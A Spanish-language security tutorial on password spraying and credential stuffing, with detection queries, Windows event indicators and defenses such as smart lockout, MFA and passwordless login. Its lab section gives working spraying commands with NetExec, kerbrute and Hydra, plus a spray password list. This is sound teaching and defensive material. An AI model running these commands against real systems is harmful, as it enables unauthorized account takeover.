Aprende › Cloud, APIs, forense y más

Password Spraying y Credential Stuffing: qué es, cómo se explota y cómo se corrige

· 12 min de lectura

Diferencia entre password spraying, credential stuffing y brute force. Herramientas como Spray, CrackMapExec e Hydra, reglas de Hashcat, detección con eventos 4771/4625 de Windows y defensa con lockout policies y passwordless.

Los ataques de fuerza bruta tradicionales prueban miles de contraseñas contra una sola cuenta hasta dar con la correcta. Son ruidosos, fáciles de detectar y las políticas de bloqueo los neutralizan. Password spraying invierte la lógica: prueba una sola contraseña (o muy pocas) contra miles de cuentas. Credential stuffing va un paso más allá: usa pares usuario-contraseña filtrados de brechas anteriores, apostando a que el usuario reutiliza credenciales entre servicios.

Estos ataques son la técnica más usada para obtener acceso inicial a entornos corporativos. Microsoft reportó en 2024 que password spraying representó el 40 % de los compromisos de cuentas de Azure AD. A diferencia del brute force clásico, el spraying no dispara las políticas de bloqueo porque cada cuenta recibe solo uno o dos intentos. Es la decimotercera lección de la Tanda 10.

Practica solo contra laboratorios autorizados. Probar credenciales contra sistemas ajenos sin permiso es acceso no autorizado y un delito en todas las jurisdicciones.

Qué es password spraying#

Password spraying es una técnica de autenticación por fuerza bruta distribuida: en vez de probar muchas contraseñas contra un usuario, prueba una contraseña contra muchos usuarios. El atacante recopila una lista de nombres de usuario (por enumeración, LinkedIn, correos filtrados, etc.) y prueba las contraseñas más comunes del entorno: variaciones del nombre de la empresa, la estación del año con el año actual, o las clásicas de las listas de contraseñas más usadas.

Flujo de password spraying vs brute force vs credential stuffing — diferencias en estrategia y detección
Flujo de password spraying vs brute force vs credential stuffing — diferencias en estrategia y detección

El credential stuffing es la variante automatizada con datos de brechas reales. El atacante descarga una base de datos filtrada (por ejemplo, de una brecha de un foro o una tienda online) y prueba cada par usuario:contraseña contra el servicio objetivo. La tasa de éxito suele ser del 0,1 % al 2 %, pero cuando la base tiene millones de registros, el resultado son miles de cuentas comprometidas.

La diferencia clave con brute force está en la distribución: el brute force concentra todos los intentos en una cuenta (lo que dispara el lockout), mientras que spraying y stuffing distribuyen los intentos entre muchas cuentas, manteniéndose por debajo del umbral de detección.

Por qué ocurre: la causa raíz#

  • Contraseñas predecibles: los usuarios eligen contraseñas basadas en patrones (empresa + año, estación + año, teclado tipo qwerty). Un estudio de NordPass en 2024 mostró que "123456", "password" y "qwerty123" siguen en el top 10 global.
  • Reutilización de credenciales: según un informe de Google/Harris Poll, el 65 % de los usuarios reutiliza la misma contraseña en múltiples servicios. Cada brecha alimenta las bases de credential stuffing.
  • Políticas de lockout laxas: muchas organizaciones configuran el lockout en 5-10 intentos fallidos, pero no monitorizan el patrón de un intento fallido por cuenta en miles de cuentas.
  • Enumeración de usuarios fácil: servicios que revelan si un usuario existe (mensajes como "usuario no encontrado" vs "contraseña incorrecta") facilitan la primera fase del ataque.
  • Falta de MFA: sin segundo factor, una contraseña comprometida da acceso directo.
  • Protocolos legacy: servicios como IMAP, POP3, SMTP o conexiones LDAP básicas no soportan MFA y son objetivos preferidos para spraying.

Tipos y variantes#

TécnicaEstrategiaFuente de credencialesTasa de detección
Brute force clásicoMuchas contraseñas vs 1 cuentaDiccionario o generaciónAlta (lockout)
Password spraying1-3 contraseñas vs muchas cuentasPatrones predeciblesBaja
Credential stuffingPares filtrados vs servicio objetivoBrechas de datos realesMedia
Reverse brute force1 contraseña conocida vs muchos usuariosContraseña por defecto o filtradaBaja
Rule-based sprayingContraseñas generadas con reglasHashcat rules + contexto de la empresaBaja
Low-and-slowSpraying con intervalos largos entre intentosPatrones + pacienciaMuy baja

Dónde aparece#

  • Azure AD / Microsoft 365: el objetivo más frecuente para spraying corporativo. Los endpoints de autenticación como login.microsoftonline.com reciben miles de millones de intentos de spraying al mes.
  • VPN corporativas: Cisco AnyConnect, Fortinet, Palo Alto GlobalProtect. Un spray exitoso da acceso a la red interna.
  • Aplicaciones web con login propio: ERPs, CRMs, paneles de administración internos sin MFA.
  • Protocolos legacy: IMAP/POP3 para correo corporativo. Exchange Online con autenticación básica habilitada es un objetivo clásico.
  • Servicios de Active Directory: Kerberos pre-authentication, SMB, WinRM y LDAP bind permiten spraying contra el dominio.
  • Plataformas SaaS: Slack, GitHub, AWS Console, cualquier servicio donde los empleados usen correo corporativo como usuario.

Cómo se detecta#

SeñalIndicadorFuente de logs
Spraying contra ADEvento 4625 (logon failure) desde una IP contra múltiples cuentasWindows Security Event Log
Kerberos pre-auth failureEvento 4771 (Kerberos pre-authentication failed) masivoDomain Controller logs
Spraying en Azure ADSign-in logs con status "Invalid credentials" desde misma IP contra muchas cuentasAzure AD Sign-in logs
Stuffing en aplicación webPico de logins fallidos con ratio éxito-fallo anómaloApplication logs, WAF
Protocolos legacyAutenticación básica desde IPs externasExchange Online, IMAP logs

Herramientas de detección#

  • Azure AD Identity Protection: detecta automáticamente password spray, anomalous token y credential stuffing. Genera alertas de riesgo de usuario.
  • Microsoft Sentinel / Defender for Identity: reglas de detección predefinidas para spraying contra AD on-premises.
  • Splunk / Elastic SIEM: consultas KQL o SPL que correlacionan eventos 4625/4771 por IP de origen.
  • CrowdStrike Falcon: detección de spraying en endpoints con contexto de la identidad.

Ejemplo de consulta KQL para Azure AD:

SigninLogs
| where ResultType == "50126"
| summarize FailedAttempts = count(), DistinctUsers = dcount(UserPrincipalName) by IPAddress, bin(TimeGenerated, 1h)
| where DistinctUsers > 10 and FailedAttempts > 20
| sort by FailedAttempts desc

Explotación paso a paso en un laboratorio#

Paso 1 — Enumerar usuarios del dominio#

Antes del spraying necesitas una lista de usuarios válidos. En un entorno AD de laboratorio, usa NetExec (antes CrackMapExec) para enumerar por SMB o LDAP:

# Enumerar usuarios con una cuenta de dominio de bajo privilegio
netexec smb IP_DEL_LAB -u 'guest' -p '' --users

Si tienes un listado de correos corporativos (recopilados de LinkedIn, sitio web, correos públicos), genera los sAMAccountName con el formato del dominio:

# Formato típico: primera letra nombre + apellido
cat correos.txt | awk -F@ '{print $1}' > usuarios.txt

Paso 2 — Preparar la lista de contraseñas#

Para password spraying, la lista es corta pero dirigida. Genera contraseñas basadas en el contexto de la empresa:

# Patrones más comunes en entornos corporativos
cat <<'EOF' > passwords_spray.txt
Company2026!
Company2025!
Welcome2026!
Summer2026!
Winter2025!
Password123!
Qwerty2026!
Company123!
EOF

Para credential stuffing, descarga bases de datos filtradas de pruebas de seguridad autorizadas y extrae los pares usuario:contraseña.

Paso 3 — Ejecutar password spraying contra SMB/AD#

Usa NetExec para spraying contra el dominio del laboratorio con control de velocidad:

# Password spraying con una sola contraseña contra todos los usuarios
netexec smb IP_DEL_LAB -u usuarios.txt -p 'Company2026!' --no-bruteforce

# Si aparece [+] al lado de un usuario, la contraseña es correcta

La opción --no-bruteforce indica que se prueba cada usuario con la contraseña una sola vez (spray), no todas las combinaciones (brute force).

Para spraying contra Kerberos (más sigiloso, no genera eventos 4625):

# Spraying vía Kerberos pre-auth
kerbrute passwordspray -d lab.local --dc IP_DEL_LAB usuarios.txt 'Company2026!'

Paso 4 — Spraying contra un servicio web#

Si el objetivo es una aplicación web con formulario de login, usa Hydra:

hydra -L usuarios.txt -p 'Company2026!' IP_DEL_LAB http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect" \
  -t 4 -W 3

Los parámetros -t 4 (4 threads) y -W 3 (3 segundos entre intentos) simulan un spraying controlado que no dispara rate limiting agresivo.

Paso 5 — Generar contraseñas con reglas de Hashcat#

Para crear variantes inteligentes a partir de una palabra base, usa las reglas de Hashcat:

# Generar variantes de la palabra "Company"
echo "Company" | hashcat --stdout -r /usr/share/hashcat/rules/best64.rule | head -20

Esto produce variantes como Company1, Company!, Company2026, COMPANY, company123 y decenas más. Filtra las que cumplan la política de contraseñas del objetivo (longitud mínima, mayúscula + número + especial).

Paso 6 — Verificar el acceso obtenido#

Si el spraying tiene éxito, verifica los permisos de la cuenta comprometida:

# Verificar acceso con las credenciales obtenidas
netexec smb IP_DEL_LAB -u 'usuario_comprometido' -p 'Company2026!' --shares
netexec smb IP_DEL_LAB -u 'usuario_comprometido' -p 'Company2026!' --sessions

Qué puede lograr un atacante#

ImpactoDescripción
Acceso inicial al dominioUna sola cuenta comprometida permite enumerar AD, buscar vulnerabilidades de Kerberos y escalar privilegios
Lectura de correo corporativoAcceso al buzón de la víctima expone información confidencial, credenciales en correos y acceso a otros servicios
Movimiento lateralCredenciales válidas permiten acceder a shares SMB, servicios internos y equipos donde el usuario tiene sesión
Escalada a Domain AdminSi la cuenta comprometida tiene permisos de Kerberoasting o AS-REP Roasting, el atacante obtiene más hashes para cracking
Compromiso de VPNAcceso a la red interna completa si la VPN no requiere MFA
PersistenciaEl atacante crea cuentas de servicio, modifica ACLs o registra su propio MFA para mantener el acceso

Cómo se corrige#

Defensa contra password spraying: lockout inteligente, MFA, passwordless y monitorización de eventos
Defensa contra password spraying: lockout inteligente, MFA, passwordless y monitorización de eventos

Smart lockout en lugar de lockout estático#

El lockout tradicional (bloquear tras N intentos) penaliza al usuario legítimo y no detiene el spraying (que nunca supera N intentos por cuenta). El smart lockout de Azure AD bloquea la IP del atacante, no la cuenta:

Azure AD → Security → Authentication methods → Password protection:
- Smart lockout threshold: 10
- Smart lockout duration: 60 seconds
- Custom banned passwords: agregar nombres de la empresa, productos, etc.

Forzar MFA para todas las cuentas#

Password spraying pierde efectividad si cada cuenta tiene MFA habilitado. Prioriza los protocolos legacy que no soportan MFA:

Azure AD Conditional Access:
- Condición: Client apps → "Other clients" (IMAP, SMTP, POP3)
- Acción: Block
- Aplicar a: All users (excepto cuentas de servicio con IP fija)

Bloquear autenticación legacy#

Los protocolos que no soportan MFA (IMAP, POP3, SMTP con autenticación básica, ActiveSync básico) son la puerta preferida del spraying:

Exchange Online:
  Set-OrganizationConfig -DefaultAuthenticationPolicy "BlockBasicAuth"

Azure AD:
  Conditional Access → Block legacy authentication → All users

Políticas de contraseñas fuertes con banned lists#

Además de la complejidad estándar, bloquea las contraseñas que los atacantes prueban primero:

Lista de contraseñas prohibidas (ejemplo):
- Nombre de la empresa y variantes
- Nombre de la ciudad donde está la oficina
- Nombres de productos
- Patrones estacionales (Summer, Winter, Spring + año)
- Secuencias de teclado (qwerty, 123456, abc123)

Azure AD Password Protection permite crear una lista personalizada de hasta 1000 términos prohibidos.

Migrar a passwordless#

La defensa definitiva es eliminar las contraseñas. Las opciones actuales:

  • Windows Hello for Business: biometría o PIN vinculado al TPM.
  • FIDO2 security keys: llaves hardware que no dependen de contraseña.
  • Certificate-based authentication: certificados de cliente emitidos por la PKI corporativa.
  • Passkeys: credenciales FIDO2 sincronizadas entre dispositivos (Apple, Google, Microsoft).

Monitorización continua#

Configura alertas para los patrones de spraying:

Regla SIEM: Alerta cuando una IP de origen tiene más de 10 intentos
fallidos de login contra más de 5 cuentas distintas en 1 hora.

Eventos a correlacionar:
- Windows 4625 (Account failed to log on)
- Windows 4771 (Kerberos pre-auth failed)
- Azure AD Sign-in failure (error 50126)

Errores comunes al defenderse#

  • Configurar lockout agresivo sin smart lockout: un lockout de 3 intentos permite al atacante hacer un DoS bloqueando todas las cuentas a propósito con 3 intentos fallidos cada una.
  • Habilitar MFA pero dejar abiertos protocolos legacy: si IMAP sin MFA está habilitado, el spraying se redirige ahí.
  • No monitorizar Kerberos: el spraying contra Kerberos pre-authentication (AS-REQ) no genera eventos 4625, solo 4771. Muchos SIEMs solo alertan por 4625.
  • Usar la misma contraseña de dominio en servicios externos: si la contraseña de AD es la misma que la de LinkedIn o el correo personal, un breach externo compromete la cuenta corporativa.
  • No rotar contraseñas de servicio: las cuentas de servicio con contraseñas estáticas de hace años son objetivos fáciles para spraying con diccionarios históricos.
  • Ignorar el contexto geográfico: un login desde un país donde la organización no opera, incluso exitoso, debería generar una alerta.

Preguntas frecuentes#

Cuál es la diferencia entre password spraying y credential stuffing?#

Password spraying prueba una o pocas contraseñas genéricas (tipo Company2026!) contra muchas cuentas. Credential stuffing prueba pares usuario:contraseña exactos obtenidos de brechas de otros servicios. El spraying apuesta a la contraseña predecible, el stuffing apuesta a la reutilización de contraseñas.

Por qué el spraying no dispara el lockout?#

Porque las políticas de lockout cuentan los intentos fallidos por cuenta. Si el umbral es 5, el atacante prueba solo 1-2 contraseñas por cuenta antes de pasar a la siguiente. Ninguna cuenta individual supera el umbral, pero el atacante prueba la misma contraseña contra miles de cuentas.

CrackMapExec y NetExec son la misma herramienta?#

NetExec es el sucesor de CrackMapExec (CME). El proyecto CME dejó de actualizarse y la comunidad lo continuó como NetExec (nxc) con mejoras y correcciones. La sintaxis es casi idéntica. Si encuentras documentación que menciona CME, los comandos suelen funcionar cambiando crackmapexec por netexec o nxc.

Cómo detecto credential stuffing en mi aplicación web?#

Busca un pico anómalo de intentos de login con una tasa de éxito baja pero constante (0,1-2 %). Las IPs de origen suelen ser proxies residenciales (no datacenters). Implementa rate limiting por IP y por cuenta, CAPTCHA progresivo y monitoriza el ratio intentos-fallidos / intentos-exitosos por hora.

El spraying funciona contra cuentas con MFA?#

El spraying solo obtiene la contraseña, no el segundo factor. Si la cuenta tiene MFA habilitado, el atacante necesita una técnica adicional (MFA fatigue, phishing en tiempo real, SIM swap) para completar el acceso. Por eso MFA es la defensa más efectiva contra spraying.

Resumen#

  • Password spraying prueba pocas contraseñas contra muchas cuentas para evadir lockout. Credential stuffing reutiliza pares filtrados de brechas anteriores.
  • Las contraseñas predecibles (nombre de empresa + año, patrones estacionales) son el combustible del spraying: políticas de banned lists y complejidad las eliminan.
  • La detección requiere correlacionar eventos 4625 y 4771 por IP de origen, no solo por cuenta individual.
  • Bloquear autenticación legacy (IMAP, POP3, SMTP básico) es crítico porque esos protocolos no soportan MFA.
  • Smart lockout, MFA obligatorio y migración a passwordless son las tres defensas más efectivas, en ese orden de prioridad y facilidad de implementación.
  • La monitorización debe incluir Kerberos (evento 4771), no solo NTLM (evento 4625), porque el spraying contra Kerberos es más sigiloso.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría